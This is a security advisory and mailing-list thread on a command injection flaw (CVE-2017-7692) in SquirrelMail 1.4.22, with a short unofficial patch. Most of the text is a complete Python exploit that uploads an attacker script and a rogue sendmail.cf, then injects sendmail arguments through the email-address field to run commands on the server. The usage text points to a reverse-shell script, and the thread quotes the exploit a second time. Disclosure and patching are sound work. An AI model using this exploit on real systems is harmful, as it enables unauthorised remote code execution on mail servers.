CVE-2017-7692: Squirrelmail 1.4.22 Remote Code Execution

Advisory ID:           SGMA17-001
Title:                 Squirrelmail Remote Code Execution
Product:               Squirrelmail
Version:               1.4.22 and probably prior
Vendor:                squirrelmail.org
Type:                  Command Injection
Risk level:            4 / 5
Credit:                filippo.cavallarin@wearesegment.com
CVE:                   CVE-2017-7692
Vendor notification:   2017-04-04
Vendor fix:            N/A
Public disclosure:     2017-04-19




DETAILS

Squirrelmail version 1.4.22 (and probably prior) is vulnerable to a =
remote code execution vulnerability because
it fails to sanitize a string before passing it to a popen call. Its =
possible to exploit this vulnerability to=20
execute arbitrary shell commands on the remote server.

The problem is in Deliver_SendMail.class.php on initStream function that =
uses escapeshellcmd() to sanitize the=20
sendmail command before executing it. The use of escapeshellcmd() is not =
correct in this case since it dont=20
escapes whitespaces allowing the injection of arbitrary command =
parameters.

      $this->sendmail_command =3D "$sendmail_path $this->sendmail_args =
-f$envelopefrom";    =20
      $stream =3D popen(escapeshellcmd($this->sendmail_command), "w");


The $envelopefrom variable is controlled by the attacker, hence its =
possible to trick sendmail to use an=20
attacker-provided configuration file that triggers the execution of an =
arbitrary command.

In order to exploit this vulnerability the MTA in use must be sendmail =
and Squirrelmail must be configured
to use it as commandline (useSendmail directive of the config file set =
to true).
Also, the edit_identity directive of the config file must be bet to =
true, but this is the default configuration.

To reproduce the issue follow these steps:
        1. Create a rogue sendmail.cf that triggers the execution of a =
/usr/bin/touch:
                [...]
                Mlocal,         P=3D/usr/bin/touch, F=3DlsDFMAw5:/|@qPn9S,=
 S=3DEnvFromL/HdrFromL, R=3DEnvToL/HdrToL,
                T=3DDNS/RFC822/X-Unix,
                A=3DX /tmp/executed
        2. Upload it as a mail attachment and get its remote name (ex: =
lF51mGPJwdqzV3LEDlCdSVNpohzgF7sD)
        3. Go to Options -> Personal Informations and set the following =
payload as Email Address:
                <aaa@abc.com -OQueueDirectory=3D/tmp  -C =
/var/local/squirrelmail/attach/lF51mGPJwdqzV3LEDlCdSVNpohzgF7sD>
        4. Send an email
        5. Verify the execution of the command with "ls /tmp/executed" =
on the remote server




PROOF OF CONCEPT

The followig python script exploits this vulnerability to execute an =
attacker provided bash script on the remote server.

BOF
#!/usr/bin/env python
# -*- coding: utf-8 -*-=20

"""

SquirrelMail 1.4.22 Remote Code Execution (authenticated)=20
Exploit code for CVE-2017-7692
filippo.cavallarin@wearesegment.com

"""

from __future__ import unicode_literals
import sys
import os
import re
import requests

reload(sys)
sys.setdefaultencoding(utf8)


SENDMAILCF=3D"/tmp/squirrelmail1_4_22-sendmailcf-rce"
COMPOSE =3D "/src/compose.php"
INFOS =3D "/src/options.php?optpage=3Dpersonal"
SQM_ATTACH_PATH =3D "/var/local/squirrelmail/attach/"
# must be enclosed in <> otherwise spaces will be removed ..
SENDER =3D "<px@xxxx.com -OQueueDirectory=3D/tmp  -C %s%s>"


SESSID =3D ""
BASEURL =3D ""


def attach(attachment):
  url =3D "%s%s" % (BASEURL, COMPOSE)
  token =3D get_csrf_token(url)

  values =3D {
    "smtoken": token,
    "attach": "add"
  }

  try:
    files =3D {attachfile: open(attachment,rb)}
    resp =3D requests.post(url, files=3Dfiles, data=3Dvalues, =
cookies=3D{SQMSESSID:SESSID})
    fname =3D =
re.search(ratt_local_name&quot;;s:[0-9]+:&quot;([a-zA-Z0-9]+)&quot;, =
resp.text)
    if not fname:
      print "
Error: unable to upload file %s" % attachment
    return fname.group(1)

  except Exception as e:
    print "
Error: %s" % e
    sys.exit(1)


def send():
  url =3D "%s%s" % (BASEURL, COMPOSE)
  token =3D get_csrf_token(url)

  values =3D {
    "smtoken": token,
    "send_to": "root",
    "send": "Send"
  }

  try:
    resp =3D requests.post(url, data=3Dvalues, =
cookies=3D{SQMSESSID:SESSID})
  except Exception as e:
    print "
Error: %s" % e
    sys.exit(1)


def set_identity(sender):
  url =3D "%s%s" % (BASEURL, INFOS)
  token =3D get_csrf_token(url)
  values =3D {
    "smtoken": token,
    "optpage": "personal",
    "optmode": "submit",
    "new_email_address": sender,
    "submit_personal": "Submit"
  }

  try:
    requests.post(url, data=3Dvalues, cookies=3D{SQMSESSID:SESSID})
  except Exception as e:
    print "
Error: %s" % e
    sys.exit(1)


def get_csrf_token(url):
  try:
    body =3D requests.get(url, cookies=3D{SQMSESSID:SESSID}).text
    inp =3D re.search(r<input.*name=3D"smtoken".*>, body, =
re.MULTILINE)
    token =3D re.search(rvalue=3D"([a-zA-Z0-9]+)", inp.group(0))
    if token:
      return token.group(1)
  except Exception as e:
    pass

  print "
Unable to get CSRF token"
  sys.exit(1)

def outw(s):
  sys.stdout.write(s)
  sys.stdout.flush()

def main(argv):
  global BASEURL
  global SESSID

  if len(argv) !=3D 4:
    print (
        "SquirrelMail 1.4.22 Remote Code Execution (authenticated) - =
filippo.cavallarin@wearesegment.com
"
        "The target server must use sendmail and squirrelmail must be =
configured to use /usr/bin/sendmail
"
        "Usage:
"
        "  %s <url> <session_id> <script>
"
        "      url: the url of squirrelmail
"
        "      session_id: the value of SQMSESSID cookie
"
        "      script: the path to the bash script to be executed on the =
target
"
        "Example:
"
        "  %s http:/example.com/squirrelmail/ l2rapvcovsui1on0b4i5boev24 =
reverseshell.sh"
      ) % (argv[0], argv[0])

    sys.exit(1)

  BASEURL =3D argv[1]
  SESSID =3D argv[2]
  script =3D argv[3]

  outw("Uploading script ... ")
  script_fname =3D attach(script)
  print "ok"


  outw("Generating sendmail.cf ... ")
  try:
    script_path =3D "%s%s" % (SQM_ATTACH_PATH, script_fname)
    with open(SENDMAILCF, w) as f:
      f.write(SENDMAILCF_CONTENT % script_path)
  except Exception as e:
    print "
Error: %s" % e
    sys.exit(1)
  print "ok"

  outw("Uploading sendmail.cf ... ")
  smc_fname =3D attach(SENDMAILCF)
  os.remove(SENDMAILCF)
  print "ok"

  outw("Updating user options ... ")
  sender =3D SENDER % (SQM_ATTACH_PATH, smc_fname)
  set_identity(sender)
  print "ok"

  outw("Checking identity field ... ")
  icheck =3D requests.get("%s%s" % (BASEURL, INFOS), =
cookies=3D{SQMSESSID:SESSID}).text
  if not smc_fname in icheck:
    print "
Error: unable to set identity field .. maybe squirrelmail =
is configured with edit_identity=3Dfalse"
    sys.exit(1)
  print "ok"

  outw("Executing script ... ")
  send()
  print "ok
"
  sys.exit(0)

SENDMAILCF_CONTENT =3D """
O =
DontBlameSendmail=3D,AssumeSafeChown,ForwardFileInGroupWritableDirPath,Gro=
upWritableForwardFileSafe,GroupWritableIncludeFileSafe,IncludeFileInGroupW=
ritableDirPath,DontWarnForwardFileInUnsafeDirPath,TrustStickyBit,NonRootSa=
feAddr,GroupWritableIncludeFile,GroupReadableDefaultAuthInfoFile
Kdequote dequote
Scanonify=3D3
R$@     $@ <@>
R$*     $: $1 <@>     mark addresses
R$* < $* > $* <@> $: $1 < $2 > $3     unmark <addr>
R@ $* <@>   $: @ $1       unmark @host:...
R$* [ IPv6 : $+ ] <@> $: $1 [ IPv6 : $2 ]   unmark IPv6 addr
R$* :: $* <@>   $: $1 :: $2     unmark node::addr
R:include: $* <@> $: :include: $1     unmark :include:...
R$* : $* [ $* ]   $: $1 : $2 [ $3 ] <@>   remark if leading colon
R$* : $* <@>    $: $2       strip colon if marked
R$* <@>     $: $1       unmark
R$* ;        $1       strip trailing semi
R$* < $+ :; > $*  $@ $2 :; <@>      catch <list:;>
R$* < $* ; >       $1 < $2 >      bogus bracketed semi
R$@     $@ :; <@>
R$*     $: < $1 >     housekeeping <>
R$+ < $* >       < $2 >     strip excess on left
R< $* > $+       < $1 >     strip excess on right
R<>     $@ < @ >      MAIL FROM:<> case
R< $+ >     $: $1       remove housekeeping <>
R@ $+ , $+    $2
R@ [ $* ] : $+    $2
R@ $+ : $+    $2
R $+ : $* ; @ $+  $@ $>Canonify2 $1 : $2 ; < @ $3 > list syntax
R $+ : $* ;   $@ $1 : $2;     list syntax
R$+ @ $+    $: $1 < @ $2 >      focus on domain
R$+ < $+ @ $+ >   $1 $2 < @ $3 >      move gaze right
R$+ < @ $+ >    $@ $>Canonify2 $1 < @ $2 >  already canonical
R$- ! $+    $@ $>Canonify2 $2 < @ $1 .UUCP >  resolve uucp names
R$+ . $- ! $+   $@ $>Canonify2 $3 < @ $1 . $2 >   domain uucps
R$+ ! $+    $@ $>Canonify2 $2 < @ $1 .UUCP >  uucp subdomains
R$* %% $*   $1 @ $2       First make them all @s.
R$* @ $* @ $*   $1 %% $2 @ $3     Undo all but the last.
R$* @ $*    $@ $>Canonify2 $1 < @ $2 >  Insert < > and finish
R$*     $@ $>Canonify2 $1
SCanonify2=3D96
R$* < @ localhost > $*    $: $1 < @ $j . > $2   no domain at all
R$* < @ localhost . $m > $* $: $1 < @ $j . > $2   local domain
R$* < @ localhost . UUCP > $* $: $1 < @ $j . > $2   .UUCP domain
R$* < @ [ $+ ] > $*   $: $1 < @@ [ $2 ] > $3    mark [addr]
R$* < @@ $=3Dw > $*   $: $1 < @ $j . > $3   self-literal
R$* < @@ $+ > $*    $@ $1 < @ $2 > $3   canon IP addr
Sfinal=3D4
R$+ :; <@>    $@ $1 :       handle <list:;>
R$* <@>     $@        handle <> and list:;
R$* < @ $+ . > $* $1 < @ $2 > $3
R$* < @ *LOCAL* > $*  $1 < @ $j > $2
R$* < $+ > $*   $1 $2 $3      defocus
R@ $+ : @ $+ : $+ @ $1 , @ $2 : $3    <route-addr> canonical
R@ $*     $@ @ $1       ... and exit
R$+ @ $- . UUCP   $2!$1       u@h.UUCP =3D> h!u
R$+ %% $=3Dw @ $=3Dw    $1 @ $2       u%%host@host =3D> u@host
SRecurse=3D97
R$*     $: $>canonify $1
R$*     $@ $>parse $1
Sparse=3D0
R$*     $: $>Parse0 $1    initial parsing
R<@>      $#local $: <@>    special case error msgs
R$*     $: $>ParseLocal $1  handle local hacks
R$*     $: $>Parse1 $1    final parsing
SParse0
R<@>      $@ <@>      special case error msgs
R$* : $* ; <@>    $#error $@ 5.1.3 $: "553 List:; syntax illegal for =
recipient addresses"
R@ <@ $* >    < @ $1 >    catch "@@host" bogosity
R<@ $+>     $#error $@ 5.1.3 $: "553 User address required"
R$+ <@>     $#error $@ 5.1.3 $: "553 Hostname required"
R$*     $: <> $1
R<> $* < @ [ $* ] : $+ > $* $1 < @ [ $2 ] : $3 > $4
R<> $* < @ [ $* ] , $+ > $* $1 < @ [ $2 ] , $3 > $4
R<> $* < @ [ $* ] $+ > $* $#error $@ 5.1.2 $: "553 Invalid address"
R<> $* < @ [ $+ ] > $*    $1 < @ [ $2 ] > $3
R<> $* <$* : $* > $*  $#error $@ 5.1.3 $: "553 Colon illegal in host =
name part"
R<> $*      $1
R$* < @ . $* > $* $#error $@ 5.1.2 $: "553 Invalid host name"
R$* < @ $* .. $* > $* $#error $@ 5.1.2 $: "553 Invalid host name"
R$* < @ $* @ > $* $#error $@ 5.1.2 $: "553 Invalid route address"
R$* @ $* < @ $* > $*  $#error $@ 5.1.3 $: "553 Invalid route address"
R$* , $~O $*    $#error $@ 5.1.3 $: "553 Invalid route address"
R$* < @ > $*    $@ $>Parse0 $>canonify $1 user@ =3D> user
R< @ $=3Dw . > : $* $@ $>Parse0 $>canonify $2 @here:... -> ...
R$- < @ $=3Dw . >   $: $(dequote $1 $) < @ $2 . > dequote "foo"@here
R< @ $+ >   $#error $@ 5.1.3 $: "553 User address required"
R$* $=3DO $* < @ $=3Dw . >  $@ $>Parse0 $>canonify $1 $2 $3 ...@here -> =
...
R$-       $: $(dequote $1 $) < @ *LOCAL* >  dequote "foo"
R< @ *LOCAL* >    $#error $@ 5.1.3 $: "553 User address required"
R$* $=3DO $* < @ *LOCAL* >
      $@ $>Parse0 $>canonify $1 $2 $3 ...@*LOCAL* -> ...
R$* < @ *LOCAL* > $: $1
SParse1
R$* < @ [ $+ ] > $* $: $>ParseLocal $1 < @ [ $2 ] > $3  numeric internet =
spec
R$* < @ [ $+ ] > $* $: $1 < @ [ $2 ] : $S > $3  Add smart host to path
R$* < @ [ $+ ] : > $*   $#esmtp $@ [$2] $: $1 < @ [$2] > $3 no =
smarthost: send
R$* < @ [ $+ ] : $- : $*> $*  $#$3 $@ $4 $: $1 < @ [$2] > $5  smarthost =
with mailer
R$* < @ [ $+ ] : $+ > $*  $#esmtp $@ $3 $: $1 < @ [$2] > $4 smarthost =
without mailer
R$=3DL < @ $=3Dw . >  $#local $: @ $1     special local names
R$+ < @ $=3Dw . >   $#local $: $1     regular local name
R$* < @ $* > $*   $: $>MailerToTriple < $S > $1 < @ $2 > $3 glue on =
smarthost name
R$* < @$* > $*    $#esmtp $@ $2 $: $1 < @ $2 > $3 user@host.domain
R$=3DL      $#local $: @ $1   special local names
R$+     $#local $: $1     regular local names
SLocal_localaddr
Slocaladdr=3D5
R$+     $: $1 $| $>"Local_localaddr" $1
R$+ $| $#ok   $@ $1     no change
R$+ $| $#$*   $#$2
R$+ $| $*   $: $1
R$+ + *     $#local $@ $&h $: $1
R$+ + $*    $#local $@ + $2 $: $1 + *
R$+     $: <> $1
R< > $+     $: < > < $1 <> $&h >    nope, restore +detail
R< > < $+ <> + $* > $: < > < $1 + $2 >    check whether +detail
R< > < $+ <> $* > $: < > < $1 >     else discard
R< > < $+ + $* > $*    < > < $1 > + $2 $3   find the user part
R< > < $+ > + $*  $#local $@ $2 $: @ $1   strip the extra +
R< > < $+ >   $@ $1       no +detail
R$+     $: $1 <> $&h      add +detail back in
R$+ <> + $*   $: $1 + $2      check whether +detail
R$+ <> $*   $: $1       else discard
R< local : $* > $*  $: $>MailerToTriple < local : $1 > $2 no host =
extension
R< error : $* > $*  $: $>MailerToTriple < error : $1 > $2 no host =
extension
R< $~[ : $+ > $+  $: $>MailerToTriple < $1 : $2 > $3 < @ $2 >
R< $+ > $+    $@ $>MailerToTriple < $1 > $2 < @ $1 >
SParseLocal=3D98
SEnvFromL
R<@>      $n      errors to mailer-daemon
R@ <@ $*>   $n      temporarily bypass Sun bogosity
R$+     $: $>AddDomain $1 add local domain if needed
R$*     $: $>MasqEnv $1   do masquerading
SEnvToL
R$+ < @ $* >    $: $1     strip host part
R$+ + $*    $: < $&{addr_type} > $1 + $2  mark with addr type
R<e s> $+ + $*    $: $1     remove +detail for sender
R< $* > $+    $: $2     else remove mark
SHdrFromL
R<@>      $n      errors to mailer-daemon
R@ <@ $*>   $n      temporarily bypass Sun bogosity
R$+     $: $>AddDomain $1 add local domain if needed
R$*     $: $>MasqHdr $1   do masquerading
SHdrToL
R$+     $: $>AddDomain $1 add local domain if needed
R$*     $: $>MasqHdr $1   do all-masquerading
SAddDomain
R$* < @ $* > $*   $@ $1 < @ $2 > $3 already fully qualified
R$+     $@ $1 < @ *LOCAL* > add local qualification
Mlocal,   P=3D/bin/bash, F=3DlsDFMAw5:/|@qPn9S, S=3DEnvFromL/HdrFromL, =
R=3DEnvToL/HdrToL,
    T=3DDNS/RFC822/X-Unix,
    A=3DX %s
Mprog,    P=3D/bin/sh, F=3DlsDFMoqeu9, S=3DEnvFromL/HdrFromL, =
R=3DEnvToL/HdrToL, D=3D$z:/,
    T=3DX-Unix/X-Unix/X-Unix,
    A=3Dsh -c $u

"""

if __name__ =3D=3D __main__:
  main(sys.argv)

EOF




SOLUTION

Since the vendor did not respond to our mails, no official fix is =
available.=20
However, the following unofficial patch can be used to fix this =
vulnerability.

BOF
diff -ruN =
squirrelmail-webmail-1.4.22/class/deliver/Deliver_SendMail.class.php =
squirrelmail-webmail-1.4.22-fix-CVE-2017-7692/class/deliver/Deliver_SendMa=
il.class.php
--- squirrelmail-webmail-1.4.22/class/deliver/Deliver_SendMail.class.php =
 2011-01-06 02:44:03.000000000 +0000
+++ =
squirrelmail-webmail-1.4.22-fix-CVE-2017-7692/class/deliver/Deliver_SendMa=
il.class.php  2017-04-18 11:42:26.505181944 +0000
@@ -93,9 +93,9 @@
         $envelopefrom =3D trim($from->mailbox.@.$from->host);
         $envelopefrom =3D =
str_replace(array("","
"),array(,),$envelopefrom);
         // save executed command for future reference
-        $this->sendmail_command =3D "$sendmail_path =
$this->sendmail_args -f$envelopefrom";
+        $this->sendmail_command =3D escapeshellcmd("$sendmail_path =
$this->sendmail_args -f") . escapeshellarg($envelopefrom);
         // open process handle for writing
-        $stream =3D popen(escapeshellcmd($this->sendmail_command), =
"w");
+        $stream =3D popen($this->sendmail_command, "w");
         return $stream;
     }
EOF




REFERENCES

https://squirrelmail.org/
=
https://www.wearesegment.com/research/Squirrelmail-Remote-Code-Execution.h=
tml




Replies to this exploit:

From: Dawid Golunski dawid@legalhackers.com
Sent: Sun 23. Apr 2017 15:35
--f403045dd974f3e969054dd9c056
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: quoted-printable

Hi Filippo,

I received a reply from MITRE regarding which CVE to use in this
situation. Here is the reply I received:

CVE-2017-7692 is now correct.

CVE-2017-5181 is no longer a valid ID number according to our
http://cve.mitre.org/cve/cna/CNA_Rules_v1.1.pdf policy. We fully
recognize that you made an earlier report of the discovery, but we
need to use the CVE ID number that first appears in a public
disclosure. 

So I can confirm we should be using the new/duplicated one that was
issued to you in April
instead of the one I got in January.

Ive released my advisory (taking the new CVEID into the account) at:

https://legalhackers.com/advisories/SquirrelMail-Exploit-Remote-Code-Exec-C=
VE-2017-7692-Vuln.html
and a quick PoC video at:
https://legalhackers.com/videos/SquirrelMail-Exploit-Remote-Code-Exec-CVE-2=
017-7692-Vuln.html

I attach a copy to this email as well.

Thanks

Regards,
Dawid Golunski
https://legalhackers.com
https://ExploitBox.io
t: @dawid_golunski



On Wed, Apr 19, 2017 at 2:17 PM, Filippo Cavallarin
<filippo.cavallarin@wearesegment.com> wrote:
> Hi Dawid,
> ok great, I added the credits to the advisory..  now lets see what to do=
 with the CVEs.
>
> Thanks!
> Filippo
>
>
>> On 19 Apr 2017, at 17:56, Dawid Golunski <dawid@legalhackers.com> wrote:
>>
>> Hi Filippo,
>>
>> From the feedback I received several weeks ago, the vendor was having
>> some life issues and was unable to respond to it so I decided to give
>> more time before disclosure in this case.
>> Ive sent him a quick email now too to point at this thread  in case
>> he manages to release an official patch any time soon.
>>
>> I will release my advisory/exploit shortly on my website
>> https://legalhackers.com seeing that it is now public.
>>
>> Ill verify with MITRE what to do with the duplicate CVEID and which
>> one should be used for this issue and let you know.
>>
>> Credit would be appreciated. Ill mention yours in my advisory too.
>>
>> Thanks.
>>
>>
>>
>>
>>
>>
>> On Wed, Apr 19, 2017 at 12:40 PM, Filippo Cavallarin
>> <filippo.cavallarin@wearesegment.com> wrote:
>>> Hi Dawid,
>>> I tried quite hard to contact the vendor but without success, then I de=
cided to release all the details and a fix..
>>> I think the CVE I got should be rejected and marked as duplicate, but I=
 dont know how to handle situations like this.. any idea?
>>> In the meantime, do you want me to put your name in the credits on my w=
ebsite?
>>>
>>> Best,
>>> Filippo
>>>
>>>> On 19 Apr 2017, at 16:36, Dawid Golunski <dawid@legalhackers.com> wrot=
e:
>>>>
>>>> Hi Filippo,
>>>>
>>>> I actually reported this vulnerability to the vendor at the beginning
>>>> of this year.  I also got the following CVEID assigned for it in
>>>> January: CVE-2017-5181.
>>>> I was waiting on the vendor to patch the vulnerability since then
>>>> before I publish the details.
>>>>
>>>> Has he got back to you?
>>>>
>>>>
>>>>
>>>>
>>>> On Wed, Apr 19, 2017 at 10:07 AM, Filippo Cavallarin
>>>> <filippo.cavallarin@wearesegment.com> wrote:
>>>>> Advisory ID:           SGMA17-001
>>>>> Title:                 Squirrelmail Remote Code Execution
>>>>> Product:               Squirrelmail
>>>>> Version:               1.4.22 and probably prior
>>>>> Vendor:                squirrelmail.org
>>>>> Type:                  Command Injection
>>>>> Risk level:            4 / 5
>>>>> Credit:                filippo.cavallarin@wearesegment.com
>>>>> CVE:                   CVE-2017-7692
>>>>> Vendor notification:   2017-04-04
>>>>> Vendor fix:            N/A
>>>>> Public disclosure:     2017-04-19
>>>>>
>>>>>
>>>>>
>>>>>
>>>>> DETAILS
>>>>>
>>>>> Squirrelmail version 1.4.22 (and probably prior) is vulnerable to a r=
emote code execution vulnerability because
>>>>> it fails to sanitize a string before passing it to a popen call. Its=
 possible to exploit this vulnerability to
>>>>> execute arbitrary shell commands on the remote server.
>>>>>
>>>>> The problem is in Deliver_SendMail.class.php on initStream function t=
hat uses escapeshellcmd() to sanitize the
>>>>> sendmail command before executing it. The use of escapeshellcmd() is =
not correct in this case since it dont
>>>>> escapes whitespaces allowing the injection of arbitrary command param=
eters.
>>>>>
>>>>>     $this->sendmail_command =3D "$sendmail_path $this->sendmail_args =
-f$envelopefrom";
>>>>>     $stream =3D popen(escapeshellcmd($this->sendmail_command), "w");
>>>>>
>>>>>
>>>>> The $envelopefrom variable is controlled by the attacker, hence its =
possible to trick sendmail to use an
>>>>> attacker-provided configuration file that triggers the execution of a=
n arbitrary command.
>>>>>
>>>>> In order to exploit this vulnerability the MTA in use must be sendmai=
l and Squirrelmail must be configured
>>>>> to use it as commandline (useSendmail directive of the config file se=
t to true).
>>>>> Also, the edit_identity directive of the config file must be bet to t=
rue, but this is the default configuration.
>>>>>
>>>>> To reproduce the issue follow these steps:
>>>>>       1. Create a rogue sendmail.cf that triggers the execution of a =
/usr/bin/touch:
>>>>>               [...]
>>>>>               Mlocal,         P=3D/usr/bin/touch, F=3DlsDFMAw5:/|@qPn=
9S, S=3DEnvFromL/HdrFromL, R=3DEnvToL/HdrToL,
>>>>>               T=3DDNS/RFC822/X-Unix,
>>>>>               A=3DX /tmp/executed
>>>>>       2. Upload it as a mail attachment and get its remote name (ex:=
 lF51mGPJwdqzV3LEDlCdSVNpohzgF7sD)
>>>>>       3. Go to Options -> Personal Informations and set the following=
 payload as Email Address:
>>>>>               <aaa@abc.com -OQueueDirectory=3D/tmp  -C /var/local/squ=
irrelmail/attach/lF51mGPJwdqzV3LEDlCdSVNpohzgF7sD>
>>>>>       4. Send an email
>>>>>       5. Verify the execution of the command with "ls /tmp/executed" =
on the remote server
>>>>>
>>>>>
>>>>>
>>>>>
>>>>> PROOF OF CONCEPT
>>>>>
>>>>> The followig python script exploits this vulnerability to execute an =
attacker provided bash script on the remote server.
>>>>>
>>>>> BOF
>>>>> #!/usr/bin/env python
>>>>> # -*- coding: utf-8 -*-
>>>>>
>>>>> """
>>>>>
>>>>> SquirrelMail 1.4.22 Remote Code Execution (authenticated)
>>>>> Exploit code for CVE-2017-7692
>>>>> filippo.cavallarin@wearesegment.com
>>>>>
>>>>> """
>>>>>
>>>>> from __future__ import unicode_literals
>>>>> import sys
>>>>> import os
>>>>> import re
>>>>> import requests
>>>>>
>>>>> reload(sys)
>>>>> sys.setdefaultencoding(utf8)
>>>>>
>>>>>
>>>>> SENDMAILCF=3D"/tmp/squirrelmail1_4_22-sendmailcf-rce"
>>>>> COMPOSE =3D "/src/compose.php"
>>>>> INFOS =3D "/src/options.php?optpage=3Dpersonal"
>>>>> SQM_ATTACH_PATH =3D "/var/local/squirrelmail/attach/"
>>>>> # must be enclosed in <> otherwise spaces will be removed ..
>>>>> SENDER =3D "<px@xxxx.com -OQueueDirectory=3D/tmp  -C %s%s>"
>>>>>
>>>>>
>>>>> SESSID =3D ""
>>>>> BASEURL =3D ""
>>>>>
>>>>>
>>>>> def attach(attachment):
>>>>> url =3D "%s%s" % (BASEURL, COMPOSE)
>>>>> token =3D get_csrf_token(url)
>>>>>
>>>>> values =3D {
>>>>>   "smtoken": token,
>>>>>   "attach": "add"
>>>>> }
>>>>>
>>>>> try:
>>>>>   files =3D {attachfile: open(attachment,rb)}
>>>>>   resp =3D requests.post(url, files=3Dfiles, data=3Dvalues, cookies=
=3D{SQMSESSID:SESSID})
>>>>>   fname =3D re.search(ratt_local_name&quot;;s:[0-9]+:&quot;([a-zA-Z0=
-9]+)&quot;, resp.text)
>>>>>   if not fname:
>>>>>     print "
Error: unable to upload file %s" % attachment
>>>>>   return fname.group(1)
>>>>>
>>>>> except Exception as e:
>>>>>   print "
Error: %s" % e
>>>>>   sys.exit(1)
>>>>>
>>>>>
>>>>> def send():
>>>>> url =3D "%s%s" % (BASEURL, COMPOSE)
>>>>> token =3D get_csrf_token(url)
>>>>>
>>>>> values =3D {
>>>>>   "smtoken": token,
>>>>>   "send_to": "root",
>>>>>   "send": "Send"
>>>>> }
>>>>>
>>>>> try:
>>>>>   resp =3D requests.post(url, data=3Dvalues, cookies=3D{SQMSESSID:S=
ESSID})
>>>>> except Exception as e:
>>>>>   print "
Error: %s" % e
>>>>>   sys.exit(1)
>>>>>
>>>>>
>>>>> def set_identity(sender):
>>>>> url =3D "%s%s" % (BASEURL, INFOS)
>>>>> token =3D get_csrf_token(url)
>>>>> values =3D {
>>>>>   "smtoken": token,
>>>>>   "optpage": "personal",
>>>>>   "optmode": "submit",
>>>>>   "new_email_address": sender,
>>>>>   "submit_personal": "Submit"
>>>>> }
>>>>>
>>>>> try:
>>>>>   requests.post(url, data=3Dvalues, cookies=3D{SQMSESSID:SESSID})
>>>>> except Exception as e:
>>>>>   print "
Error: %s" % e
>>>>>   sys.exit(1)
>>>>>
>>>>>
>>>>> def get_csrf_token(url):
>>>>> try:
>>>>>   body =3D requests.get(url, cookies=3D{SQMSESSID:SESSID}).text
>>>>>   inp =3D re.search(r<input.*name=3D"smtoken".*>, body, re.MULTILIN=
E)
>>>>>   token =3D re.search(rvalue=3D"([a-zA-Z0-9]+)", inp.group(0))
>>>>>   if token:
>>>>>     return token.group(1)
>>>>> except Exception as e:
>>>>>   pass
>>>>>
>>>>> print "
Unable to get CSRF token"
>>>>> sys.exit(1)
>>>>>
>>>>> def outw(s):
>>>>> sys.stdout.write(s)
>>>>> sys.stdout.flush()
>>>>>
>>>>> def main(argv):
>>>>> global BASEURL
>>>>> global SESSID
>>>>>
>>>>> if len(argv) !=3D 4:
>>>>>   print (
>>>>>       "SquirrelMail 1.4.22 Remote Code Execution (authenticated) - fi=
lippo.cavallarin@wearesegment.com
"
>>>>>       "The target server must use sendmail and squirrelmail must be c=
onfigured to use /usr/bin/sendmail
"
>>>>>       "Usage:
"
>>>>>       "  %s <url> <session_id> <script>
"
>>>>>       "      url: the url of squirrelmail
"
>>>>>       "      session_id: the value of SQMSESSID cookie
"
>>>>>       "      script: the path to the bash script to be executed on th=
e target
"
>>>>>       "Example:
"
>>>>>       "  %s http:/example.com/squirrelmail/ l2rapvcovsui1on0b4i5boev2=
4 reverseshell.sh"
>>>>>     ) % (argv[0], argv[0])
>>>>>
>>>>>   sys.exit(1)
>>>>>
>>>>> BASEURL =3D argv[1]
>>>>> SESSID =3D argv[2]
>>>>> script =3D argv[3]
>>>>>
>>>>> outw("Uploading script ... ")
>>>>> script_fname =3D attach(script)
>>>>> print "ok"
>>>>>
>>>>>
>>>>> outw("Generating sendmail.cf ... ")
>>>>> try:
>>>>>   script_path =3D "%s%s" % (SQM_ATTACH_PATH, script_fname)
>>>>>   with open(SENDMAILCF, w) as f:
>>>>>     f.write(SENDMAILCF_CONTENT % script_path)
>>>>> except Exception as e:
>>>>>   print "
Error: %s" % e
>>>>>   sys.exit(1)
>>>>> print "ok"
>>>>>
>>>>> outw("Uploading sendmail.cf ... ")
>>>>> smc_fname =3D attach(SENDMAILCF)
>>>>> os.remove(SENDMAILCF)
>>>>> print "ok"
>>>>>
>>>>> outw("Updating user options ... ")
>>>>> sender =3D SENDER % (SQM_ATTACH_PATH, smc_fname)
>>>>> set_identity(sender)
>>>>> print "ok"
>>>>>
>>>>> outw("Checking identity field ... ")
>>>>> icheck =3D requests.get("%s%s" % (BASEURL, INFOS), cookies=3D{SQMSES=
SID:SESSID}).text
>>>>> if not smc_fname in icheck:
>>>>>   print "
Error: unable to set identity field .. maybe squirrelmail =
is configured with edit_identity=3Dfalse"
>>>>>   sys.exit(1)
>>>>> print "ok"
>>>>>
>>>>> outw("Executing script ... ")
>>>>> send()
>>>>> print "ok
"
>>>>> sys.exit(0)
>>>>>
>>>>> SENDMAILCF_CONTENT =3D """
>>>>> O DontBlameSendmail=3D,AssumeSafeChown,ForwardFileInGroupWritableDirP=
ath,GroupWritableForwardFileSafe,GroupWritableIncludeFileSafe,IncludeFileIn=
GroupWritableDirPath,DontWarnForwardFileInUnsafeDirPath,TrustStickyBit,NonR=
ootSafeAddr,GroupWritableIncludeFile,GroupReadableDefaultAuthInfoFile
>>>>> Kdequote dequote
>>>>> Scanonify=3D3
>>>>> R$@     $@ <@>
>>>>> R$*     $: $1 <@>     mark addresses
>>>>> R$* < $* > $* <@> $: $1 < $2 > $3     unmark <addr>
>>>>> R@ $* <@>   $: @ $1       unmark @host:...
>>>>> R$* [ IPv6 : $+ ] <@> $: $1 [ IPv6 : $2 ]   unmark IPv6 addr
>>>>> R$* :: $* <@>   $: $1 :: $2     unmark node::addr
>>>>> R:include: $* <@> $: :include: $1     unmark :include:...
>>>>> R$* : $* [ $* ]   $: $1 : $2 [ $3 ] <@>   remark if leading colon
>>>>> R$* : $* <@>    $: $2       strip colon if marked
>>>>> R$* <@>     $: $1       unmark
>>>>> R$* ;        $1       strip trailing semi
>>>>> R$* < $+ :; > $*  $@ $2 :; <@>      catch <list:;>
>>>>> R$* < $* ; >       $1 < $2 >      bogus bracketed semi
>>>>> R$@     $@ :; <@>
>>>>> R$*     $: < $1 >     housekeeping <>
>>>>> R$+ < $* >       < $2 >     strip excess on left
>>>>> R< $* > $+       < $1 >     strip excess on right
>>>>> R<>     $@ < @ >      MAIL FROM:<> case
>>>>> R< $+ >     $: $1       remove housekeeping <>
>>>>> R@ $+ , $+    $2
>>>>> R@ [ $* ] : $+    $2
>>>>> R@ $+ : $+    $2
>>>>> R $+ : $* ; @ $+  $@ $>Canonify2 $1 : $2 ; < @ $3 > list syntax
